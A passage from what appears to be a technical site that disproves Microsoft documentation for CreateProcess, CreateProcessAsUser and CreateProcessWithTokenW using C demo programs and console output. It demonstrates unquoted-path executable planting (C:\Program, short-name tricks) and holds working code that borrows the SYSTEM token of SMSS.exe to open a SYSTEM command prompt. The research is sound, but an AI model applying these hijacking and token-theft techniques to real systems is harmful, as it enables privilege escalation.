            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <psapi.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	STARTUPINFO	si = {sizeof(si)};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	PROCESS_INFORMATION	pi;
	DWORD	dwError = ERROR_SUCCESS;
	DWORD	dwThread;
	DWORD	dwProcess;
	WCHAR	szProcess[MAX_PATH];
	WCHAR	szDevice[MAX_PATH];
	DWORD	dwDevice;
	DWORD	dwDrives;
	DWORD	dwDrive;
	WCHAR	szDrive[] = L"@:";
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
#if 0
		if (ExpandEnvironmentStrings(L"%CommonProgramFiles%\\Microsoft Shared\\MSInfo\\MSInfo32.exe",
#elif 0
		if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Common Files\\Microsoft Shared\\MSInfo\\MSInfo32.exe",
#elif 0
		if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Internet Explorer\\IExplore.exe",
#elif 0
		if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Windows Mail\\WAB.exe",
#else
		if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Windows NT\\Accessories\\WordPad.exe",
#endif
		                             szProcess,
		                             sizeof(szProcess) / sizeof(*szProcess)) == 0UL)
			PrintConsole(hError,
			             L"ExpandEnvironmentStrings() returned error %lu\n",
			             dwError = GetLastError());
		else
			if (!CreateProcess((LPCWSTR) NULL,
			                   szProcess,
			                   (LPSECURITY_ATTRIBUTES) NULL,
			                   (LPSECURITY_ATTRIBUTES) NULL,
			                   FALSE,
			                   CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
			                   (LPWSTR) NULL,
			                   (LPCWSTR) NULL,
			                   &si,
			                   &pi))
				PrintConsole(hError,
				             L"CreateProcess() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
#if 0	// BUG: GetModuleFileNameEx() fails with ERROR_INVALID_HANDLE
				dwProcess = GetModuleFileNameEx(pi.hProcess,
				                                (HMODULE) NULL,
				                                szProcess,
				                                sizeof(szProcess) / sizeof(*szProcess));
				if (dwProcess == 0UL)
					PrintConsole(hError,
					             L"GetModuleFileNameEx() returned error %lu\n",
					             dwError = GetLastError());
				else
					PrintConsole(hError,
					             L"Child process %lu loaded from image file \'%ls\'\n",
					             pi.dwProcessId, szProcess);
#else
				dwProcess = GetProcessImageFileName(pi.hProcess,
				                                    szProcess,
				                                    sizeof(szProcess) / sizeof(*szProcess));
				if (dwProcess == 0UL)
					PrintConsole(hError,
					             L"GetProcessImageFileName() returned error %lu\n",
					             dwError = GetLastError());
				else
				{
					dwDrives = GetLogicalDrives();
					if (dwDrives == 0UL)
						PrintConsole(hError,
						             L"GetLogicalDrives() returned error %lu\n",
						             dwError = GetLastError());
					else
						while (_BitScanForward(&dwDrive, dwDrives))
						{
							dwDrives &= dwDrives - 1UL;
							szDrive[0] = L'A' + (WORD) dwDrive;
							if (QueryDosDevice(szDrive,
							                   szDevice,
							                   sizeof(szDevice) / sizeof(*szDevice)) == 0UL)
								PrintConsole(hError,
								             L"QueryDosDevice() returned error %lu\n",
								             dwError = GetLastError());
							else
							{
								dwDevice = wcslen(szDevice);
#ifndef _WIN64
								if ((dwProcess > dwDevice)
								 && (szProcess[dwDevice] == L'\\')
								 && (memcmp(szProcess, szDevice, dwDevice * sizeof(*szDevice)) == 0))
								{
									szProcess[--dwDevice] = L':';
									szProcess[--dwDevice] = L'A' + (WORD) dwDrive;
									PrintConsole(hError,
									             L"Child process %lu loaded from image file \'%ls\'\n",
									             pi.dwProcessId, szProcess + dwDevice);
								}
#else // _WIN64
								if ((dwProcess > dwDevice)
								 && (szProcess[dwDevice] == L'\\'))
								{
									szProcess[dwDevice] = L'\0';
									if (wcscmp(szProcess, szDevice) != 0)
										szProcess[dwDevice] = L'\\';
									else
									{
										szProcess[dwDevice--] = L'\\';
										szProcess[dwDevice--] = L':';
										szProcess[dwDevice] = L'A' + (WORD) dwDrive;
										PrintConsole(hError,
										             L"Child process %lu loaded from image file \'%ls\'\n",
										             pi.dwProcessId, szProcess + dwDevice);
									}
								}
#endif // _WIN64
							}
						}
				}
#endif
				PrintConsole(hError,
				             L"Child process %lu with primary thread %lu created\n",
				             pi.dwProcessId, pi.dwThreadId);
				if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
					PrintConsole(hError,
					             L"WaitForSingleObject() returned error %lu\n",
					             dwError = GetLastError());
				if (!GetExitCodeThread(pi.hThread, &dwThread))
					PrintConsole(hError,
					             L"GetExitCodeThread() returned error %lu\n",
					             dwError = GetLastError());
				else
					if (dwThread > 65535UL)
						PrintConsole(hError,
						             L"Primary thread %lu of child process %lu exited with code 0x%08lX\n",
						             pi.dwThreadId, pi.dwProcessId, dwThread);
					else
						PrintConsole(hError,
						             L"Primary thread %lu of child process %lu exited with code %lu\n",
						             pi.dwThreadId, pi.dwProcessId, dwThread);
				if (!CloseHandle(pi.hThread))
					PrintConsole(hError,
					             L"CloseHandle() returned error %lu\n",
					             dwError = GetLastError());
				if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
					PrintConsole(hError,
					             L"WaitForSingleObject() returned error %lu\n",
					             dwError = GetLastError());
				if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
					PrintConsole(hError,
					             L"GetExitCodeProcess() returned error %lu\n",
					             dwError = GetLastError());
				else
					if (dwProcess > 65535UL)
						PrintConsole(hError,
						             L"Child process %lu exited with code 0x%08lX\n",
						             pi.dwProcessId, dwProcess);
					else
						PrintConsole(hError,
						             L"Child process %lu exited with code %lu\n",
						             pi.dwProcessId, dwProcess);
				if (!CloseHandle(pi.hProcess))
					PrintConsole(hError,
					             L"CloseHandle() returned error %lu\n",
					             dwError = GetLastError());
			}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib psapi.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib psapi.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code to demonstrate its proper
            function:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: close the window opened by WordPad to let the console application
blunder.exe continue and terminate.
        Child process 8036 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe' Child process 8036 with primary thread 7568 created Primary thread 7568 of child process 8036 exited with code 0 Child process 8036 exited with code 0 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Create the text file blunder.txt with the following
            content in an arbitrary, preferable empty directory:
        
4d 5a 40 00 01 00 00 00 04 00 00 00 ff ff 00 00   MZ@.............
00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ........@.......
00 00 00 00 19 57 04 27 00 00 00 00 00 00 00 00  .....W.'........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ Create the (invalid)
            DOS executable
            image file Program in the root directory of the
            system drive
:
        
CertUtil.exe /DecodeHex blunder.txt "%SystemDrive%\Program"
Input Length = 268 Output Length = 64 CertUtil: -error command completed successfully.
 Create an empty file Program in the root directory of
            the system drive
 and execute the console application
            blunder.exe a second time:
        
COPY NUL: "%SystemDrive%\Program" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows Vista and later versions of Windows NT, creation of the empty file requires administrative access rights.
 Note: with delayed expansion
 enabled for
            the Command Processor, the path name
            %SystemDrive%\Program can be constructed as
            !ProgramFiles: %ProgramFiles:* =%=!.
        
1 file(s) copied. CreateProcess() returned error 193 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH¹: the documentation for the
CreateProcess*() functions cited above fails to
            enumerate the possible execution of C:\Program, i.e. a
            file without extension!
         Move the empty file C:\Program created in step 4.
            as file Windows into the directory
            %SystemDrive%\Program Files\ alias
            %ProgramFiles%\ and execute the console application
            blunder.exe a third time:
        
MOVE "%SystemDrive%\Program" "%Program Files%\Windows" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 2000 and later versions of Windows NT, moving the empty file requires administrative access rights.
CreateProcess() returned error 193 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH²: the documentation for the
CreateProcess*() functions cited above fails to
            enumerate the possible execution of
            C:\program files\sub as well as
            C:\program files\sub dir\program too!
         Rename the empty file %ProgramFiles%\Windows as
            %ProgramFiles%\Windows.exe, i.e. append the (default)
            extension, then create the empty directory
            %ProgramFiles%\Windows and execute the console
            application blunder.exe a fourth time:
        
RENAME "%Program Files%\Windows" Windows.exe MKDIR "%Program Files%\Windows" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 2000 and later versions of Windows NT, renaming the empty file and creation of the empty directory requires administrative access rights.
Child process 8860 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe' Child process 8860 with primary thread 11828 created Primary thread 11828 of child process 8860 exited with code 0 Child process 8860 exited with code 0 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH³: the documentation for the
CreateProcess*() functions cited above fails to
            specify their behaviour when both a directory
            C:\program files\sub without extension and a file
            C:\program files\sub.exe with (default) extension
            exist – the latter is not executed then!
         Move both the empty file %ProgramFiles%\Windows.exe as
            Program.exe and the empty directory
            %ProgramFiles%\Windows as Program into the
            root directory of the system drive
, then execute the console
            application blunder.exe a fifth time:
        
MOVE "%Program Files%\Windows.exe" "%SystemDrive%\Program.exe" MOVE "%Program Files%\Windows" "%SystemDrive%\Program" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 2000 and later versions of Windows NT, moving the empty file and the empty directory requires administrative access rights.
Child process 5288 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe' Child process 5288 with primary thread 14340 created Primary thread 14340 of child process 5288 exited with code 0 Child process 5288 exited with code 0 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH⁴: the documentation for the
CreateProcess*() functions cited above fails to
            specify their behaviour when both a directory
            C:\program without extension and an executable image
            file C:\program.exe with (default) extension exist
            – the latter is not executed then!
         Remove the empty directory %SystemDrive%\Program and
            copy an arbitrary executable image file as
            %SystemDrive%\Program, then execute the console
            application blunder.exe a last time:
        
RMDIR "%SystemDrive%\Program" COPY "%ComSpec%" "%SystemDrive%\Program" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 10 and later versions of Windows NT, removing the empty directory requires administrative access rights.
Note: on Windows Vista and later versions of Windows NT, copying the executable image file requires administrative access rights.
1 file(s) copied. CreateProcess() returned error 193 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH⁵: the documentation for the
CreateProcess*() functions cited above fails to
            specify their behaviour when two executable image files
            ‹filename› and
            ‹filename›.exe exist in the same
            directory – the latter is executed then, not the former!
         Finally delete the files %SystemDrive%\Program and
            %SystemDrive%\Program.exe:
        
ERASE "%SystemDrive%\Program" "%SystemDrive%\Program.exe"Note: on Windows Vista and later versions of Windows NT, deleting the empty file requires administrative access rights.
c:\program files\sub dir\program name exists next to
            c:\program files\sub dir\program name.exe respectively
            when a file or directory as well as a symbolic link or junction
            C:\Program Files\MyProgram\My Service exists next to
            C:\Program Files\MyProgram\My Service.exe is left as an
            exercise to the reader!
         Caveat: unless 8.3 filename creation is disabled,
            users granted the
            SeRestorePrivilege
            alias
            SE_RESTORE_NAME
            privilege
            (typically members of the
            BUILTIN\Administrators or the
            BUILTIN\Backup Operators group)
            might just add short names via the
            SetFileShortName()
            function or the
            File SetShortName
            command of the FSUtil.exe utility, for example
            PROGRAM for the directory %ProgramFiles%\,
            PROGRAM.EXE for an arbitrary file
            %SystemDrive%\‹executable›,
            COMMON for the directory
            %CommonProgramFiles%\,
            COMMON.EXE for an arbitrary file
            %ProgramFiles%\‹executable›,
            INTERNET for the directory
            %ProgramFiles%\Internet Files\,
            INTERNET.EXE for an arbitrary file
            %ProgramFiles%\‹executable›,
            WINDOWS for the directory
            %ProgramFiles%\Windows NT\,
            WINDOWS.EXE for an arbitrary file
            %ProgramFiles%\‹executable›,
            etc.
        
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
CreateProcessAsUser()
            function states:
        Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token.The documentation for the LogonUser function states too:Typically, the process that calls the CreateProcessAsUser function must have the SE_INCREASE_QUOTA_NAME privilege and may require the SE_ASSIGNPRIMARYTOKEN_NAME privilege if the token is not assignable.
[…]
To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token.
[…]
By default, CreateProcessAsUser creates the new process on a noninteractive window station with a desktop that is not visible and cannot receive user input. To enable user interaction with the new process, you must specify the name of the default interactive window station and desktop, "winsta0\default", in the lpDesktop member of the STARTUPINFO structure.
In most cases, the returned handle is a primary token that you can use in calls to the CreateProcessAsUser function. However, if you specify the LOGON32_LOGON_NETWORK flag, LogonUser returns an impersonation token that you cannot use in CreateProcessAsUser unless you call DuplicateTokenEx to convert it to a primary token.Client Logon Sessions Client Impersonation Impersonation Levels Impersonation Tokens Processes and Threads About Processes and Threads Using Processes and Threads Process Security and Access Rights Thread Security and Access Rights Process Handles and Identifiers Thread Handles and Identifiers Child Processes Multiple Threads
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE	3UL	// "SeAssignPrimaryTokenPrivilege"
const	TOKEN_PRIVILEGES	tpToken = {ANYSIZE_ARRAY, {SE_ASSIGNPRIMARYTOKEN_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
const	STARTUPINFO	si = {sizeof(si)};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	PROCESS_INFORMATION	pi;
	PROCESSENTRY32	pe /* = {sizeof(pe)} */;
	DWORD	dwError;
#ifdef BLUNDER
	DWORD	dwSession;
#endif
	DWORD	dwProcess = 0UL;
	HANDLE	hSnapshot;
	HANDLE	hToken;
	HANDLE	hProcess = GetCurrentProcess();
	HANDLE	hThread = GetCurrentThread();
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0UL);
		if (hSnapshot == INVALID_HANDLE_VALUE)
			PrintConsole(hError,
			             L"CreateToolhelp32Snapshot() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			pe.dwSize = sizeof(pe);
			if (!Process32First(hSnapshot, &pe))
				PrintConsole(hError,
				             L"Process32First() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				do
					if ((pe.th32ParentProcessID == 4UL)
					 && (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
						dwProcess = pe.th32ProcessID;
				while (Process32Next(hSnapshot, &pe));
				dwError = GetLastError();
				if (dwError != ERROR_NO_MORE_FILES)
					PrintConsole(hError,
					             L"Process32Next() returned error %lu\n",
					             dwError);
			}
			if (!CloseHandle(hSnapshot))
				PrintConsole(hError,
				             L"CloseHandle() returned error %lu\n",
				             dwError = GetLastError());
		}
		if (dwProcess == 0UL)
		{
			PrintConsole(hError,
			             L"Process \'SMSS.exe\' not found!\n");
			dwError = ERROR_NOT_FOUND;
		}
		else
		{
			if (!OpenProcessToken(hProcess,
			                      TOKEN_QUERY,
			                      &hToken))
				PrintConsole(hError,
				             L"OpenProcessToken() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
#ifdef BLUNDER
				if (!GetTokenInformation(hToken,
				                         TokenSessionId,
				                         &dwSession,
				                         sizeof(dwSession),
				                         &dwError))
					PrintConsole(hError,
					             L"GetTokenInformation() returned error %lu\n",
					             dwError = GetLastError());
#endif
				if (!CloseHandle(hToken))
					PrintConsole(hError,
					             L"CloseHandle() returned error %lu\n",
					             dwError = GetLastError());
				hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
				                       FALSE,
				                       dwProcess);
				if (hProcess == NULL)
					PrintConsole(hError,
					             L"OpenProcess() returned error %lu\n",
					             dwError = GetLastError());
				else
				{
					if (!OpenProcessToken(hProcess,
					                      TOKEN_DUPLICATE | TOKEN_QUERY,
					                      &hToken))
						PrintConsole(hError,
						             L"OpenProcessToken() returned error %lu\n",
						             dwError = GetLastError());
					else
					{
						if (!ImpersonateLoggedOnUser(hToken))
							PrintConsole(hError,
							             L"ImpersonateLoggedOnUser() returned error %lu\n",
							             dwError = GetLastError());
						else
						{
							if (!CloseHandle(hToken))
								PrintConsole(hError,
								             L"CloseHandle() returned error %lu\n",
								             dwError = GetLastError());
							if (!OpenThreadToken(hThread,
							                     TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_SESSIONID | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
							                     FALSE,
							                     &hToken))
								PrintConsole(hError,
								             L"OpenThreadToken() returned error %lu\n",
								             dwError = GetLastError());
							else
							{
#ifdef BLUNDER
								if (!SetTokenInformation(hToken,
								                         TokenSessionId,
								                         &dwSession,
								                         sizeof(dwSession)))
									PrintConsole(hError,
									             L"SetTokenInformation() returned error %lu\n",
									             dwError = GetLastError());
#endif
								AdjustTokenPrivileges(hToken,
								                      FALSE,
								                      &tpToken,
								                      0UL,
								                      (TOKEN_PRIVILEGES *) NULL,
								                      (LPDWORD) NULL);
								dwError = GetLastError();
								if (dwError != ERROR_SUCCESS)
									PrintConsole(hError,
									             L"AdjustTokenPrivileges() returned error %lu\n",
									             dwError);
								else
									if (!CreateProcessAsUser(hToken,
									                         L"C:\\Windows\\System32\\Cmd.exe",
									                         L"%COMSPEC% /D /T:4F",
									                         (LPSECURITY_ATTRIBUTES) NULL,
									                         (LPSECURITY_ATTRIBUTES) NULL,
									                         FALSE,
									                         CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
									                         L"\0",
									                         L"..",
									                         &si,
									                         &pi))
										PrintConsole(hError,
										             L"CreateProcessAsUser() returned error %lu\n",
										             dwError = GetLastError());
									else
									{
										if (!CloseHandle(pi.hThread))
											PrintConsole(hError,
											             L"CloseHandle() returned error %lu\n",
											             dwError = GetLastError());
										if (!CloseHandle(pi.hProcess))
											PrintConsole(hError,
											             L"CloseHandle() returned error %lu\n",
											             dwError = GetLastError());
									}
							}
							if (!RevertToSelf())
								PrintConsole(hError,
								             L"RevertToSelf() returned error %lu\n",
								             dwError = GetLastError());
						}
						if (!CloseHandle(hToken))
							PrintConsole(hError,
							             L"CloseHandle() returned error %lu\n",
							             dwError = GetLastError());
					}
					if (!CloseHandle(hProcess))
						PrintConsole(hError,
						             L"CloseHandle() returned error %lu\n",
						             dwError = GetLastError());
				}
			}
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(177) : warning C4090: 'function' : different 'const' qualifiers blunder.c(198) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib user32.lib
 Create the text file blunder.exe.manifest with the
            following content next to the console application
            blunder.exe built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- (C)opyright 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <description>Blunder Console Application</description>
    <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
        <security>
            <requestedPrivileges>
                <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
            </requestedPrivileges>
        </security>
    </trustInfo>
</assembly> Execute the console application blunder.exe built in
            step 2. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
CreateProcessAsUser() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.Note: the Win32 error code 5 alias
ERROR_ACCESS_DENIED
            is expected here – the
            CreateProcessAsUser()
            function runs in session 0 and has no access right for
            the interactive
            Window Station
            and its
            Desktop.
         OOPS¹: the Win32 function
            CreateProcessAsUser()
            does not fail with Win32 error code
            1314 alias
            ERROR_PRIVILEGE_NOT_HELD
            – contrary to the first highlighted statement of its
            documentation cited above it does not require the
            SE_INCREASE_QUOTA_NAME
            privilege!
        
OOPS²: contrary to the second highlighted statement of its documentation cited above, and contrary to the highlighted statement of the documentation for the Win32 function LogonUser cited above too, it also does not need to be called with a primary token, but accepts an impersonation token as well!
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(177) : warning C4090: 'function' : different 'const' qualifiers blunder.c(198) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 5. with elevated access rights to demonstrate its proper
            function:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OOPS³: contrary to the third highlighted statement of its documentation cited above, the Win32 function
CreateProcessAsUser()
            also works with an empty
            STARTUPINFO
            structure and does not require its
            lpDesktop member to be set!
            Setting Window Properties Using STARTUPINFO
        CreateProcessWithTokenW()
            states:
        A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights. For more information, see Access Rights for Access-Token Objects. […]To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	STARTUPINFO	si = {sizeof(si)};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	PROCESS_INFORMATION	pi;
	PROCESSENTRY32	pe /* = {sizeof(pe)} */;
	DWORD	dwError;
	DWORD	dwProcess = 0UL;
	HANDLE	hSnapshot;
	HANDLE	hToken;
	HANDLE	hProcess = GetCurrentProcess();
#ifdef BLUNDER
	HANDLE	hThread = GetCurrentThread();
#endif
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0UL);
		if (hSnapshot == INVALID_HANDLE_VALUE)
			PrintConsole(hError,
			             L"CreateToolhelp32Snapshot() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			pe.dwSize = sizeof(pe);
			if (!Process32First(hSnapshot, &pe))
				PrintConsole(hError,
				             L"Process32First() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				do
					if ((pe.th32ParentProcessID == 4UL)
					 && (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
						dwProcess = pe.th32ProcessID;
				while (Process32Next(hSnapshot, &pe));
				dwError = GetLastError();
				if (dwError != ERROR_NO_MORE_FILES)
					PrintConsole(hError,
					             L"Process32Next() returned error %lu\n",
					             dwError);
			}
			if (!CloseHandle(hSnapshot))
				PrintConsole(hError,
				             L"CloseHandle() returned error %lu\n",
				             dwError = GetLastError());
		}
		if (dwProcess == 0UL)
		{
			PrintConsole(hError,
			             L"Process \'SMSS.exe\' not found!\n");
			dwError = ERROR_NOT_FOUND;
		}
		else
		{
			hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
			                       FALSE,
			                       dwProcess);
			if (hProcess == NULL)
				PrintConsole(hError,
				             L"OpenProcess() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				if (!OpenProcessToken(hProcess,
#ifndef BLUNDER
				                      TOKEN_ASSIGN_PRIMARY |
#endif
				                      TOKEN_DUPLICATE | TOKEN_QUERY,
				                      &hToken))
					PrintConsole(hError,
					             L"OpenProcessToken() returned error %lu\n",
					             dwError = GetLastError());
				else
				{
					if (!ImpersonateLoggedOnUser(hToken))
						PrintConsole(hError,
						             L"ImpersonateLoggedOnUser() returned error %lu\n",
						             dwError = GetLastError());
					else
					{
#ifdef BLUNDER
						if (!CloseHandle(hToken))
							PrintConsole(hError,
							             L"CloseHandle() returned error %lu\n",
							             dwError = GetLastError());
						if (!OpenThreadToken(hThread,
						                     TOKEN_ALL_ACCESS,
						                     FALSE,
						                     &hToken))
							PrintConsole(hError,
							             L"OpenThreadToken() returned error %lu\n",
							             dwError = GetLastError());
						else
#endif
							if (!CreateProcessWithTokenW(hToken,
							                             0UL,
							                             L"C:\\Windows\\System32\\Cmd.exe",
							                             L"%COMSPEC% /D /T:4F",
							                             CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
							                             L"SystemRoot=C:\\Windows\0",
							                             L"..",
							                             &si,
							                             &pi))
								PrintConsole(hError,
								             L"CreateProcessWithTokenW() returned error %lu\n",
								             dwError = GetLastError());
							else
							{
								if (!CloseHandle(pi.hThread))
									PrintConsole(hError,
									             L"CloseHandle() returned error %lu\n",
									             dwError = GetLastError());
								if (!CloseHandle(pi.hProcess))
									PrintConsole(hError,
									             L"CloseHandle() returned error %lu\n",
									             dwError = GetLastError());
							}
